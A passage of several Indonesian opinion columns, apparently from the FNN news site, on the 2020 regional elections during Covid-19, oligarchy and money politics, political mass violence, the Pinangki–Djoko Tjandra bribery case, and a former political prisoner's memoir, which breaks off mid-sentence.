Romawi kuno Marcus Tullius Cicero (106 – 43 SM), “Salus Populi Suprema Lex Esto” (Keselamatan Rakyat Merupakan Hukum Tertinggi) dikutip oleh siapa saja, ditulis dimana-mana dan viral kemana-mana. Pelaksanaan Pilkada Serentak 2020 tidak hanya sebagai agenda rutin politik, tetapi juga berfungsi menjadi lokomotif penggerak ekonomi di tengah masyarakat. Tapi gawe Pilkada saat ini cukup dilematis. Terperangkap kasus pandemi Covid-19 yang meningkat setiap hari. Sesuai kodratnya sebagai pesta demokrasi lima tahunan, proses Pilkada sejak dari tahapan pendaftaran sampai pencoblosan memastikan adanya kerumunan massa pendukung para kontestan. Pahami kodratnya itu baik-baik. Pilkada serentak secara nasional pertama kali digelar 9 Desember 2015. Ironisnya perhelatan demokrasi itu sekaligus menjadi bursa transaksi jual-beli suara masyarakat kepada kandidat melalui jasa tim sukses atau relawan. Bukan rahasia umum terjadinya operasi “serangan fajar” praktik politik uang (money politics) untuk memastikan keterikatan suara calon pemilih. Praktek money politics itu bagian kecil dari skenario besar pragmatisme politik yang membudayakan percukongan. Politik yang menyandera kandidat terpilih memikul beban kewajiban, untuk memberikan kompensasi kemudahan perizinan dan lisensi kepada cukong yang mendanai biaya kandidat. Sejenis dengan “success fee”. Sebuah media cetak ibukota Kamis pagi (24/09) memuat berita berjudul “Kuasa Kapital Picu Regresi Demokrasi”, mengutip Prof. Emil Salim (90) yang mengakui, mencatat demokrasi di Indonesia memang mudur. Partai politik kehilangan legitimasinya. Kekritisan pers dan media yang dalam ancaman. Pelemahan institusi demokrasi dan negara hukum salah satunya KPK. Demokrasi yang berbasis kekuatan kapital, yang disebutnya sebagai “demokrasi cukong”. Mantan Menteri Perhubungan dan Lingkungan Hidup era Soeharto itu menjadi salah seorang pembicara di dalam suatu acara peluncuran buku. Istilah cukong itu sinonim dengan kata oligarki yang suka disebut oleh Jeffrey A.Winters (60). Ilmuwan politik Amerika di Northwestern University itu mengkhususkan diri dalam studi oligarki. Demokrasi di Indonesia, kata Winters, yang bertujuan untuk memeratakan kekuasaan dan ekonomi, nyatanya justru berjalan di arah yang sebaliknya. Winters menilai, demokrasi Indonesia dikuasai oleh kaum oligarki, sehingga makin jauh dari cita-cita untuk memakmurkan rakyat. Winters yang telah banyak menulis tentang Indonesia dan tentang oligarki di Amerika Serikat melanjutkan, demokrasi dikuasai kaum oligarki itu terlihat dengan makin dalamnya jurang antara si kaya dan si miskin di Indonesia. Konsentrasi kekayaan meningkat dan ketimpangan juga meningkat. Indonesia jauh lebih merata antara yang kaya dan miskin pada 1945 daripada sekarang. Apa yang salah? Padahal partisipasi rakyat minimal harus membawa lebih banyak kemakmuran. Kenapa ini tidak terjadi? Yaa itu tadi, karena oligarki dan elite di Indonesia sudah menguasai sistem demokrasi dan mengontrol sehingga Indonesia punya “oligarki demokrasi”. Winters pengarang buku “Oligharcy” (2011) yang memenangkan Luebbert Award dari Asosiasi Ilmu Politik Amerika (2012) untuk “buku terbaik” dalam perbandingan politik. Kembali kepada “sengketa” jadwal Pilkada yang terjadi pada saat posisi demokrasi yang dilematis ini, state actor (pejabat negara) justru berkonfrontasi dengan non state actor (masyarakat sipil). Memperdebatkan model solusi mitigasi atas ancaman nyawa rakyat akibat transmisi pandemi di dalam proses tahapan Pilkada. Penyelenggara tetap ngotot Pilkada jalan terus. Hantu kekosongan pemerintahan di daerah jadi alasan tambahan. Dikarenakan banyak kandidat yang akan berakhir masa jabatannya. Itu memerlukan legitimasi baru. Sebagai Pjs (Pejabat Sementara) posisi itu tak memiliki kewenangan membuat kebijakan. Sehingga akan menghambat program pembangunan. Regulasi kampanye secara virtual (daring) dijanjikan disiapkan untuk mengganjal tradisi kerumunan. Kebutuhan belanja para kandidat untuk pernak-pernik seperti alat peraga, berbagai format sosialisasi, lembaga survei, operasional tim sukses dan relawan plus harga tiket rekomendasi beberapa partai politik termasuk dana “serangan fajar”, jumlahnya cukup besar. Merujuk informasi mutakhir KPU telah menerima pendaftaran sebanyak 741 paslon (pasangan calon) di seluruh Indonesia. Jumlah 741 pasangan calon itu meliputi 270 daerah. Dengan rincian 25 paslon 9 di propinsi, 224 di Kabupaten dan 37 di Kota. Dari jumlah tersebut, ada 25 kabupaten/kota yang menggelar pilkada dengan satu paslon calon. Melibatkan 105 juta orang pemilih yang akan mendatangi kurang lebih 312 ribu TPS (Tempat Pemungutan Suara). Sebuah asumsi obrolan warung kopi, jika itu memang benar , menyebutkan dana yang harus dikeluarkan setiap kandidat mencapai antara Rp 35 - Rp 50 miliar dikonversi 741 paslon, total uang yang berputar mencapai Rp 35 triliun - Rp 50 triliun. Jika merujuk teori ekonomi, angka itu dilipatkan dua kali jumlah dana yang akan beredar mendekati Rp 100 triliun. Katakanlah, hanya setengah dari jumlah itu yang kejadian, yaa tetap besar Rp 50 triliun! Merupakan mesin besar penggerak ekonomi di masa pandemi. Bagi pemerintah, anggaran tahapan Pilkada itu harus ditangkap untuk dijadikan agregator perputaran roda ekonomi rakyat yang mandek selama pandemi. Persolannya terpulang kepada kapasitas kemampuan dan kesiapan organisasi negara mengendalikan kerumunan orang, agar tidak terjadi ledakan klaster baru. Pemerintah harus cermat menghitung sebelum melangkah. Karena taruhannya keselamatan jiwa rakyat yang mutlak dilindungi sesuai amanat konstitusi. Banyak kalangan yang memperingatkan, bahwa mempertaruhkan nyawa rakyat untuk kepentingan politik sesaat adalah kejahatan atas kemanusiaan, “crimes against humanity”. Ingat dan fahami peringatan itu baik-baik. Sebab bisa saja menjadi persoalan kemanusiaan kelak. "Terima kasih atas pesan kuat untuk dunia saudaraku Nana Akufo Addo Presiden Ghana. Bersama untuk menciptakan dunia yang lebih sehat, aman, dan adil. Bersama untuk melawan Covid 19". Kata Dirjen WHO Ghebreyesus mengapresiasi ucapan presiden Ghana di twitternya. Ghana adalah negara kulit hitam Afrika pertama yang merdeka dari Britania Raya pada tahun 1957. Sebutan untuk negeri ini sebagai “Pesisir Emas” memang terpantul dari sikap Presiden Nana Akufo Addo yang memang berhati “emas” untuk melindungi rakyatnya. Pada layar WhatsApp saya ada tulisan cukup menggelitik, “di Ghana itu tidak ada hiruk pikuk kampanye soal Pancasila setiap hari lho”! Penulis adalah Wartawan Senior & Pemerhati Sosial Budaya.

Kesadaran Palsu Dan Budaya Politik Kekerasan

by Radhar Tribaskoro Bandung FNN – Sabtu (26/09). Ancaman Pergerakan Mahasiswa Islam Indonesia (PMII) Surabaya untuk membubarkan acara deklarasi Koalisi Aksi Menyelamatkan Indonesia (KAMI) adalah salah satu contoh mengapa Indonesia harus diselamatkan. Ancaman itu menunjukkan budaya politik yang mengandalkan kekerasan massa dan kedekatan kepada kekuasaan untuk memaksakan kemauan. Baru saja berlalu ketika sebuah organisasi massa menyerbu sebuah pesantren. Mereka melakukan tindak pemaksaan dan kekerasan verbal kepada pimpinan pesantren yang notabene seorang ulama. Kita ingat saat pilpres yang lalu, kekerasan yang sama menimpa Ahmad Dhani dan Bunda Neno Warisman. Dalam situasi seperti itu aparat penegak hukum malah mengabaikan kewajiban konstitusional. Apara abai untuk melindungi kebebasan berbicara dan berkumpul. Mereka arapat memilih mengabaikan panggilan konstitusional itu dengan dalih khawatir adanya bentrokan massa. Apa yang terjadi? Sebab di seluruh dunia aparat penegak hukum mempertahankan konstitusi sampai titik darah penghabisan. Namun di sini, aparat hukum memilih mendukung kepentingan penguasa. Sekalipun harus mengabaikan kewajiban konstitusi melindungi rakyat. Kejadian yang berulang menjadikan kebiasaan. Kebiasaan yang berlangsung lama membentuk budaya. Budaya politik yang dicirikan oleh kekerasan massa (bukan cara-cara demokrasi dan konstitusi) sebetulnya sudah pernah terjadi dulu, yaitu pada era Demokrasi Terpimpin. Pada ketika itu PKI membangun aksi massa untuk membubarkan Organisasi Politik (Orpol) dan Organisasi Kemasyarakatan (Ormas), yang notabene adalah musuh politik mereka. PKI tahu bahwa keinginan mereka itu akan mudah dipenuhi oleh Presiden Soekarno, sebab Soekarno pada akhirnya menganggap Muhammad Natsir, Bung Syahrir, bahkan Bung Hatta sebagai musuhnya. Makanya hasilnya mudah saja untuk ditebak. Presiden Soekarno akhirnya memenuhi tuntutan PKI. Soerkarno berturut-turut membubarkan Partai Masyumi, PSI, dan partai Murba. Hampir saja Soekarno juga membubarkan Himpunan Mahasiswa Islam (HMI). Budaya politik kekerasan massa hilang di era Orde Baru, karena Soeharto tidak membutuhkan massa untuk menindas musuh-musuhnya. Soeharto langsung menggunakan aparat untuk keperluan itu. Tentara dari Angkatan Darat, dan intelijen yang bekerja untuk menjaga kekuasaan Soeharto. Sementara di era reformasi muncul kekerasan massa yang dilakukan oleh Front Pembela Islam (FPI) terhadap Ahamdiyah dan Syi’ah. Aparat malah seperti mengipasi karena praktis mengiyakan tuntutan FPI untuk membubarkan pertemuan-pertemuan dan diskusi-diskusi. Alasan aparat penegak hukum sama, untuk menghindari bentrok massa. Namun pada saat yang sama aparat mengabaikan kewajiban konstitusionalnya untuk melindungi kebebasan berpendapat dan berkumpul. Sikap aparat yang tidak proper itu membakar kemarahan rakyat kepada FPI. Semakin sering FPI beraksi rakyat semakin marah. Rakyat kebanyakan tak menyadari bahwa banyaknya aksi FPI hanya bisa terjadi bila aparat membiarkan. Semakin membaranya kemarahan rakyat, besar kemungkinan adalah sebuah set-up atau sebuah cipta-kondisi dalam bahasa intelejen Indonesia. Dalam kenyataannya, kemarahan publik tersebut dimanfaatkan oleh suatu golongan politik. Mereka meniupkan isu kebangkitan politik identitas, radikalisme, anti-pluralisme dan sektarianisme. Pada awal pemerintahan Jokowi, isu itu semakin menguat terutama karena tidak ada tindakan kongkrit dari aparat untuk mencegah berulangnya kekerasan massa. Suatu elit politik dalam pemerintahan Jokowi membakar sentimen itu lebih hebat dengan menjadikan Hizbut Tahrir Indonesia (HTI) sebagai bukti adanya upaya mengganti Pancasila. HTI memang sering mengungkapkan, secara lisan maupun tulis, cita-cita mereka untuk membangun negeri khilafah di Indonesia. HTI adalah ormas damai, mereka tidak pernah melakukan kekerasan massa. Namun aksi damai HTI itu tidak mencegah pemerintah membubarkan HTI. Keberadaan HTI kemudian dijadikan prima causa bahwa ide-ide radikal dan anti-pancasila, telah merasuk ke dalam lembaga-lembaga negara, ormas, perguruan tinggi. Bahkan ke mesjid-mesjid. Semua itu dijadikan dalih untuk melakukan pembersihan orang-orang yang tidak mendukung penguasa, harus disingkirkan. Padahal sebetulnya hanya ada dua kasus. Pertama adalah kasus kekerasan massa FPI, dan kedua adalah kasus khilafah HTI. Kedua organisasi itu sangat kecil dalam perspektif Indonesia. Keduanya tidak mengangkat senjata. Keduanya juga tidak berhubungan satu sama lain. Tetapi keributan sosial-politik sengaja diciptakan begitu hebat. Seakan-akan Indonesia kini sedang berperang. Juga seakan-akan rakyat hanya dihadapkan kepada dua pilihan, menjadi negara Pancasila atau negara khilafah? Indonesia sudah seperti dalam keadaan darurat. Dalam situasi seperti itu, orang-orang yang tidak waspada didorong untuk mempercayai penguasa tanpa reserve. Orang-orang itu kemudian menjadi toleran terhadap kekerasan dan kecurangan penguasa. Mereka juga mengambil sikap tidak peduli terhadap tindakan pemerintah yang semakin otoriter dan mengkonsentrasikan kekuasaan dengan mengambil kewenangan legislatif maupun eksekutif. Mereka tidak peduli bahwa produk-produk hukum belakangan ini telah menimbulkan kerugian besar bagi generasi masa depan. Misalnya dari ekstraksi UU Minerba. Mereka masa bodoh terhadap potensi penjarahan yang mungkin terjadi akibat undang-undang yang menjadikan pemerintahan kebal hukum. Mereka juga tidak mau tahu bahwa Rancangan Undang-Undang (RUU) Omnubus Law Cipta Kerja telah mengubah buruh dan tani menjadi budak. Tanah sepenuhnya dikomersialisasikan, sehingga jutaan petani hanya berpeluang menjadi buruh tani. Pesantren-pesantren berubah dari produk amal-ibadah menjadi produk pasar komersial, dan seterusnya dan sebagainya. Selian itu, realitas politik saat ini telah memperkuat cengkraman oligarki atas Indonesia. Dari RT/RW sampai presiden tidak ada tindakan yang bisa berjalan tanpa restu oligarki. Puncak dari semua kebobrokan yang berlangsung di tengah kesadaran palsu itu tercermin dalam kasus RUU HIP dan BPIP. Kedua RUU itu mau meletakkan kembali “Demokrasi Terpimpin”. RUU HIP dan BPIP menjadikan konsep “Demokrasi Terpimpin” yang dibangun Soekarno mau dihidupkan kembali. Mau menjadi pedoman kehidupan politik Indonesia. Dalam “Demokrasi Terpimpin”, demokrasi sebenarnya menjadi ambyar. Semua kekuasaan berada di tangan presiden. Trias Politica bubar jalan. Itulah agenda politik paling puncak saat ini. Untuk keberhasilan agenda tersebut, suatu kelompok elit di Istana memberi jalan bagi kaum oligarki merampok Indonesia. Juga menghancurkan martabat rakyat, sehingga sekadar menjadi budak kapitalis. Menjadikan Indonesia semakin tergantung kepada Cina dalam keuangan, ekonomi dan politik. Sekarang orang-orang yang tidak waspada, karena diliputi dengan kesadaran palsu, mau diperalat untuk menindas KAMI. Berbeda dengan mereka, KAMI adalah orang-orang yang waspada. KAMI membaca rencana dan perbuatan sampai jauh ke alam pikiran dan kebudayaan. KAMI tidak akan tertipu dan termakan kampanye kesadaran palsu tersebut. KAMI ingin menyelamatkan Indonesia. Pertama, menyelamatkan saudara-saudara kami dari kesadaran palsu. Demikian terjadi pada saudara-saudara kami dari FPI. Mereka telah membuang kesadaran palsu ketika melihat sendiri bahwa orang yang dulu memfasilitasi mereka sekarang justru menindas mereka. Mereka adalah pejuang Pancasila. Kedua, menunjukkan jalan kebenaran, yaitu jalan dimana tujuan tidak menghalalkan segala cara. Artinya, politik memang memiliki tujuan, tetapi tujuan itu hendaknya dicapai dengan basis moral. Kemenangan dalam politik bukan untuk kemenangan itu sendiri. Kemenangan, keberhasilan dan kemajuan harus juga berarti membawa seluruh rakyat ke tingkatan moral yang lebih tinggi. Itulah perilaku Pancasilais yang KAMI pahami. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Soal Pilkada, Mendagri Tito Jangan Ngaco & Ngawur

by Gde Siriana Yusuf Jakarta FNN – Jum’at (25/09). Kerumunan orang dalam rangkain Pelihan Kepala Daerah (Pilkada) bukan hanya saat pendaftaran dan sosialisasi. Prakteknya kontestan juga lakukan distribusi "uang cendol". Para Tim Sukses (Timses) juga perlu mengamankan uang cendol agar dipastikan sampai ke pemilih. Jika saat normal saja praktek distribusi uang cendol selama ini terkesan dibiarkan oleh panitia Pilkada. Apalagi saat pandemi virus covid dan krisis ekonomi. Pemilih tentu saja berharap dapat uang cendol, yang meski sedikit sangat berarti di saat krisis ekonomi. Sedangkan siapa yg terpilih, saya yakin sebagian pemilih sudah tidak perduli lagi. Juga perlu dipertimbangkan berkumpulnya petugas Kelompok Penyelenggara Pemungutan Suara(KPPS) relawan atau saksi dari para kontestan. Pengumpulan dan pengelompokan relawan dan saksi ini sudah terjadi secara intensif sejak tahap sosialisasi hingga penghitungan suara. Jangan terulang lagi KPPS banyak meninggal (989 orang) saat bertugas seperti di Pemilu 2019 lalu. Jadinya, sangat sulit untuk menjamin protokol bisa dijalankan dengan disiplin penuh untuk masyarakat. Jangankan kita yang sudah dikenal sebagai bangsa yang kurang disiplin, masyarakat di Eropa dan Amerika Serikat saja masih banyak yang tidak disiplin dalam memakai masker. Jika kita melihat kisah aturan tentang penggunaan helm pertama kali diterapkan, perlu berapa tahun masyarakat sadar mau pakai helm. Ini sebagai contoh saja. Sehingga mengharapkan masyarakat sadar dan disiplin dalam penggunaan masker, serta menjaga jarak dalam berinteraksi saat Pilkada nanti, sama dengan menyuruh masyarakat menyebarkan virus covid diantara sesama. Itulah yang harus dipikirkan Menteri Dalam Negeri (Mendagri) Tito Karnavian. Jangan asal negomong. Jangan juga ngawur kalau ngomong. Apalagi Mendagri mentakan bahwa “Pilkada bisa bangkitkan ekonomi”. Saya pikir itu pernyataan seperti itu bukan saja tidak tepat. Tetapi ngawur dan asal ngomong. Sebab omongan pejabat yang asal, bisa berakibat pada pemahaman yang keliru dan sesat. Supaya tidak gagal faham, Mendagri Tito sebaiknya baca lagi berulang-ulang Peraturan Pemerintah Pengganti Undang-Undang (Perppu) Nomor 01/2020 yang telah menjadi UU Nomor 02/2020. Sebab tidak ada satu pasalpun yang menjadikan alasan ekonomi sebagai dasar pelaksanaan Pilkada. Di luar rumah, ada virus corona yang bergentayangan. Masyarakat tidak bisa keluar rumah untuk bekerja, karena ada virus Corona yang bergentayangan. Banyak Pemerintah Daerah telah menerapkan Pembatasan Sosial Berskala Besar (PSPB) untuk mencegah penyebaran virus. Masyarakat tidak keluar rumah sebagian upaya mecegah dan memotong rantai penyebaran virus corona. Anehnya, Mendagri Tito malah terlihat ngaco dan ngawur ngomong mengenai alasan dilaksanakan Pilkada. Terlihat kalau Mendagri Tito tidak memahami tujuan kita bernegara, seperti diperintahkan oleh alinea ke empat Pembukaan UUD 1945. Sebab melindungi rakyat dari ancaman kematian (tumpah darah Indonesia) adalah hukum tertinggi kita dalam bernegara. Pahami itu baik Pak Tito. Daripada uang diedarkan ke daerah-daerah untuk Pilkada dengan alasan ekonomi bangkit, tetapi beresiko meningkatkan penyebadan pandemi corona, ya lebih baik dana Pilkada dibagikan kapada daerah untuk menaikkan daya beli masyarakat. Ini anggaran Pilkada ibarat pisau bermata dua. Satu sisi dianggap dapat bangkitkan ekonomi, sisi lain beresiko meningkatkan pandemi virus corona. Jadi pemerintah harus jelas, konsisten dan bijak. Jika ingin bangkitkan ekonomi di daerah, ya buatlah kebijakan yang tepat untuk itu. Yang didesign sedemikian rupa untuk tujuan ekonomi yang terukur. Bukan ditempel pada penyelenggaraan Pilkada. Seba Pilkada tujuannnya menjalankan demokrasi. Mana yang lebih pas dijalankan dalam kondisi normal? Yang terpenting adalah kejujuran dari pemerintah, DPR dan KPU. Sebenarnya separah apa masalahnya jika Pilkada ditunda tahun depan? Sampai pandemi virus corona mereda. Demi untuk kita semua dapat menjaga masyarakat dari penularan virus covid-19? Salah satu solusi yang paling tepat adalah Presiden segera menebitkan Perppu, yang memberikan kewenangan Pemerintah Daerah dijabat oleh Palksana Tugas (Plt) Kepala Daerah. Toh, itu sudah sering dilakukan, terutama untuk daerah-daerah yang baru dimekarkan dan kekosongan akibat Pilkada. Penulis adalah Anggota Komite Politik & Pemerintahan KAMI.

Tanpa Rahmat, Jaksa Pinangki Tidak Kenal Djoko Tjandra!

by Mochamad Toha Surabaya FNN - Jumat (25/09). Pada Kompas.com, Selasa (22/09/2020, 18:22 WIB) melansir, Penyidik Kejaksaan Agung, Selasa (22/9/2020), kembali memeriksa seorang saksi bernama Rahmat dalam kasus dugaan korupsi kepengurusan fatwa untuk Djoko Tjandra di Mahkamah Agung (MA). Rahmat adalah orang yang pertama kali mengenalkan Jaksa Pinangki Sirna Malasari kepada Djoko Tjandra. “Saudara Rahmat selaku karyawan swasta atau pemilik Koperasi Nusantara," kata Kepala Pusat Penerangan Hukum Kejagung Hari Setiyono. Dalam kasus ini, teman Pinangki tersebut sebelumnya telah diperiksa pada 3 dan 9 September 2020. Hari mengatakan, dalam pemeriksaan kali ini, penyidik menggali keterangan Rahmat soal dugaan pemberian suap dari Djoko Tjandra kepada Pinangki. “Untuk mencari fakta hukum tentang pemberian dan janji tersangka Djoko S. Tjandra kepada Jaksa PSM dan bagaimana teknis dan caranya serta maksud dan tujuan pemberian tersebut,” ungkapnya. Dalam kasus ini, Djoko Tjandra diduga bersedia memberikan imbalan sebesar 1 juta dollar AS atau sekitar Rp 14,85 miliar kepada Pinangki. Berdasarkan keterangan Kejagung, Pinangki Sirna Malasari menyusun proposal action plan untuk membantu Djoko Tjandra mengurus fatwa di MA. Proposal itu telah diserahkan ke Djoko Tjandra melalui perantara. Tapi, Djoko Tjandra membatalkan kerja sama mereka lantaran tak ada rencana seperti dalam proposal Pinangki yang terlaksana. Padahal, Djoko Tjandra sudah memberikan uang 500.000 dollar AS (50 persen) dari imbalan yang dijanjikan kepada Pinangki sebagai uang muka. Dari total uang itu, Pinangki diduga memberikan 50.000 dollar AS kepada Anita Kolopaking sebagai pembayaran awal jasa penasihat hukum. Anita Kolopaking adalah mantan pengacara Djoko Tjandra. Dalam kasus ini, Anita juga diduga bersedia membantu Djoko Tjandra mengurus fatwa itu. Sementara, uang yang masih tersisa digunakan Pinangki untuk membeli mobil BMW X-5, membayar dokter kecantikan di Amerika Serikat, menyewa apartemen atau hotel di New York, membayar kartu kredit, serta membayar sewa dua apartemen di Jakarta Selatan. Dalam kasus ini, Pinangki akan menjalani proses persidangan pada Rabu (23/9/2020). Ia dijerat dengan pasal berlapis terkait dugaan korupsi dan tindak pidana pencucian uang (TPPU). Sementara, penyidik Kejagung masih merampungkan berkas perkara untuk tersangka Djoko Tjandra dan Andi Irfan Jaya. Sejauh ini, Anita tidak berstatus tersangka di kasus ini. Tapi, ia ditetapkan Bareskrim Polri sebagai tersangka kasus lain yang masih terkait Djoko Tjandra. Dalam kasus dugaan gratifikasi dan suap ini, Jampidsus telah menetapkan 3 orang tersangka. Yakni Djoko Tjandra, Jaksa Pinangk, dan eks kader Partai Nasdem, Andi Irfan Jaya. Sebelumnya, Kejaksaan Agung merespons pernyataan sejumlah pihak ihwal tak dibukanya nama-nama yang diduga membantu Jaksa Pinangki saat menawarkan kepengurusan fatwa bebas di MA untuk Djoko Tjandra. Dilansir Tempo.co, Sabtu (19 September 2020 09:38 WIB), Jaksa Agung Muda Bidang Tindak Pidana Khusus Ali Mukartono menuturkan, selama penyidikan sejumlah pihak itu tidak memiliki pembuktian keterlibatan. “Selama itu tidak ada kaitannya dengan pembuktian, untuk apa? Kalau ada pembuktian, baru. Kalau hanya bapakku bapakmu, apa hubungannya dengan pembuktian?” ucap Ali saat dikonfirmasi pada Sabtu, 19 September 2020. Namun, jika dalam gelaran sidang perdana Jaksa Pinangki pada Rabu, 23 September 2020 muncul pembuktian baru maka pihak Kejaksaan Agung akan menelusuri. “Kalau misalkan nanti mengandung nilai pembuktian baru kami cek,” kata Ali. Munculnya pihak-pihak baru yang diduga berperan dalam kasus Jaksa Pinangki berawal dari laporan Masyarakat Anti Korupsi Indonesia (MAKI). Koordinator MAKI Boyamin Saiman yang menyebut ada istilah 'bapakku' dan 'bapakmu' dalam kasus tersebut. Selain itu ada juga lima nama baru, yakni T, DK, BR, HA, dan SHD. Mulanya, MAKI hanya mendorong Kejagung menyelidiki sejumlah informasi tersebut. Namun belakangan ia juga melaporkan nama-nama tersebut ke KPK, sehingga KPK ikut diminta mendalami. Permintaan itu dilakukan Boyamin lantaran menilai Kejagung terburu-buru melimpahkan berkas perkara Jaksa Pinangki. Alhasil, ia menduga penyidik Kejagung enggan mengusut tuntas nama-nama lain yang ditengarai ikut terlibat. Joshua Rahmat? RMOL.id menulis berita berjudul “Beredar Foto Perantara Djoko Tjandra Bersama Wapres Laporan”, Rabu (23 September 2020, 12:11 WIB). Rahmat yang menjadi perantara mengenalkan Djoko Tjandra ke Jaksa Pinangki diduga punya hubungan dekat dengan Wapres Maruf Amin. Rahmat, diduga mengenal baik Wapres Maruf Amin. Dugaan tersebut dipicu oleh beredarnya foto kompilasi yang menunjukkan Rahmat bersama Wapres Ma’ruf Amin. Dari tiga foto yang digabung atau kompilasi tersebut memperlihatkan pria berkepala plontos itu bersama Abah, panggilan Wapres Maruf Amin. Foto lainnya memperlihatkan Rahmat tengah berada di Istana Merdeka. Dalam foto itu Rahmat berjalan mengiringi Presiden Joko Widodo bersama Wapres Maruf Amin. Apakah ketiganya punya hubungan dekat? Wallahu ‘alam. Siapa sebenarnya Rahmat yang disebut-sebut sebagai “perantara” Jaksa Pinangki dan Tjoko Tjandra itu? “Saudara Rahmat selaku karyawan swasta atau pemilik Koperasi Nusantara,” kata Kepala Pusat Penerangan Hukum Kejagung Hari Setiyono. Jawaban Hari Setiyono tersebut telah membuka jejak digital siapa Rahmat sebenarnya. Dari jejak digital diketahui, nama lengkap Rahmat itu adalah Joshua Rahmat. Ia tercatat sebagai Ketua Dewan Pengawas Koperasi Nusantara. Nama dan wajahnya muncul saat Koperasi Simpanan Pinjam (KSP) Nusantara (KopNus) dan PT Pos Indonesia (Persero) melakukan Peresmian gedung sekretariat KOPNUSPOS yang di Bandung pada Jumat, 12 Juni 2020. Peresmian yang dilanjutkan dengan Kick Off meeting KOPNUSPOS itu dilakukan bersama Direktur Jaringan dan Layanan Keuangan PT.Pos Indonesia (Persero) Ihwan Sutardiyanta dengan Ketua KopNus Dedi Damhudi dan Ketua Dewan Pengawas KopNus Joshua Rahmat. Nama Joshua Rahmat sebelumnya juga muncul saat Penandatanganan Nota Kesepahaman (MoU) antara Koperasi Simpanan Pinjam (KSP) Nusantara (KopNus) dengan Pos Indonesia untuk joint operation di bidang Layanan Keuangan. Dilansir TribunNews.com, Sabtu (16 Mei 2020 15:39 WIB), acara penandatanganan tersebut berlangsung pada Jumat (15/5/2020), di Kantor Pusat PT Pos Indonesia, Bandung. Penandatangan kerjasama dilakukan oleh Direktur Utama PT Pos Indonesia Gilarsi Wahyu Setijono dengan Ketua KopNus Dedi Damhudi dan Ketua Dewan Pengawas KopNus Joshua Rahmat. Direktur Utama PT Pos Indonesia Gilarsi Wahyu Setijono mengatakan, Pos Indonesia dan KopNus sudah punya hubungan kerjasama yang sangat panjang. “Hari ini kita melahirkan sebuah embrio baru dan mempunyai cita-cita yang jauh lebih besar, bagaimana kita bisa menjadi kolaborasi dari sebuah proses untuk memberikan lending yang terbesar, yang terluas jangkauannya dan yang paling modern,” katanya. Gilarsi berharap embrio baru kerjasama ini dapat tumbuh agresif dalam melayani masyarakat Indonesia. Dari jejak digital itu jelas sekali. Bahwa Rahmat itu bukan pegawai KopNus. Keluarganya yang punya KopNus, makanya dia bisa menjadi Ketua Dewan Pengawas KopNus. Karena, itu milik keluarganya. Anak perusahaan KopNus, yaitu Mytour Travel, itu salah satu penyelenggara travel Umroh yang belakangan membesar. Mungkin dari situ masuknya dia ke Maruf Amin, sehingga dia bisa jalan bareng Presiden Jokowi. Kembali ke soal Jaksa Pinangki. Jadi jelas, tanpa Rahmat, Jaksa Pinangka tidak mungkin bisa mengenal Djoko Tjandra. Penulis adalah Wartawan Senior FNN.co.id

Belasan Tahun di Penjara Bersama Tokoh & Kader PKI (Bagian-2)

by Sudirman Timsar Zubil Jakarta FNN – Kamis (24/09). Aku bertemu lagi dengan Pak Isnanto di dalam acara Temu Raya mantan Tahanan Politik (Tanapol) pada tahu 2002 di Hotel Grand Cempaka, Jakarta Pusat. Para Tanapol yang dibebaskan oleh Presiden BJ. Habibie. Kami sama-sama masuk di Stering Comite (SC). Acara Temu Raya itu disponsori oleh saudara Yopi Lasut, Ketua Yayasan Hidup Baru yang dulu rajin dan selalu membesuk para Tanapol di penjara. Sehingga punya hubungan yang cukup akrab dengan para Tanapol dari semua aliran dan penjuru mata angin. Baik kiri, kanan maupun tengah. Aku berangkat lebih awal dari teman-teman lainnya, karena aku masuk di Stering Comite, sehingga perlu mengikuti pertemuan-pertemuan, yang menurutku semua itu merupakan skenario Tanapol kiri. Karena dari pokok-pokok pikiran yang mereka kemukakan, aku membaca target mereka adalah tercapainya kesepakatan dan pernyataan bersama minimal tentang dua hal. Pertama, tuntutan agar dibatalkannya TAP MPR Nomor 25 Tahun 1966 tentang larangan ajaran komunis, marxis dan lenin. Kedua, pelurusan sejarah, yang dimaksud mereka adalah sebagai pembentukan opini bahwa PKI adalah korban peristiwa 1965. Bukan sebagai pelaku. Tanapol kiri terlalu percaya diri dan memandang rendah peserta yang lain. Mereka juga tidak malu berbohong di hadapan ratusan peserta acara Temu Raya tersebut. Suatu pagi (hari keberapa aku lupa persisinya) panitia memintaku hadir di suatu ruangan untuk rapat Komisi Pelurusan Sejarah. Setiba di ruangan itu telah hadir sekitar 20 orang, dan tidak seorang pun Tanapol kanan. Semua Tanapol kiri. Aku dipersilakan duduk di depan. Sebagai pimpinan sidang kata "panitia" yang menjemputku ke kamar. Insting politisku begitu cepat menangkap maksud mereka hendak menjebakku. Akan tetapi aku ikuti saja permainan mereka. Setelah duduk sebagai pimpinan sidang, aku mempertanyakan adanya Komisi Pelurusan Sejarah yang dalam rapat-rapat Stering Comite tidak pernah dibicarakan. Tidak juga pada sidang pleno pengesahan Tata Tertib Acara. Beberapa dari mereka yang ada di ruangan itu angkat bicara. Mencoba meyakinkanku bahwa komisi itu ada disahkan dalam sidang pleno. Sungguh, aku baru kali itu bertemu dengan orang-orang yang di dalam rapat seperti itu mau dan berani berbohong secara bersama-sama begitu. Mungkin saja mereka pikir, dengan cara berbohong seperti itu, akan dapat mempengaruhi dan meyakinkan aku untuk percaya dan menerima apa yang mereka katakan. Menghadapi tekanan seperti itu, aku menyatakan dengan tegas, bahwa akan bertanya dulu kepada teman-temanku dari Tanapol kanan. Bila mereka mengatakan memang ada Komisi itu, aku akan kembali memimpin sidang. Tapi jika tidak, maka aku tidak akan kembali lagi. Ternyata teman-teman Tanapol kanan tidak seorangpun yang membenarkan adanya Komisi Pelurusan Sejarah itu. Aku tidak kembali lagi ke ruang rapat tadi. Aku segera berkoordinasi dan konsolidasi untuk menyikapi perkembangan itu. Ditetapkan di dalam pertemuan singkat itu, aku menjadi juru bicara Tanapol kanan pada sidang pleno terakhir. Benar juga sebagaimana perkiraan kami. Pada sidang pleno terakhir mereka yang hadir di ruang rapat "Komisi Pelurusan Sejarah" minta diberi kesempatan bicara untuk menyampaikan laporan mereka. Selesai wakil mereka bicara, aku langsung bicara (setelah ijin pimpinan sidang), membantah dan menolak adanya komisi tersebut. Itu terjadi sampai beberapa kali. Setiap mereka bicara meyakinkan peserta Temu Raya bahwa Komisi Pelurusan Sejarah itu memang ada, setelah itu aku terus membantahnya. Mereka baru berhenti setelah saudara Casman Prawiro, Tanapol kiri yang kukenal ketika sama-sama ditahan di Irehab 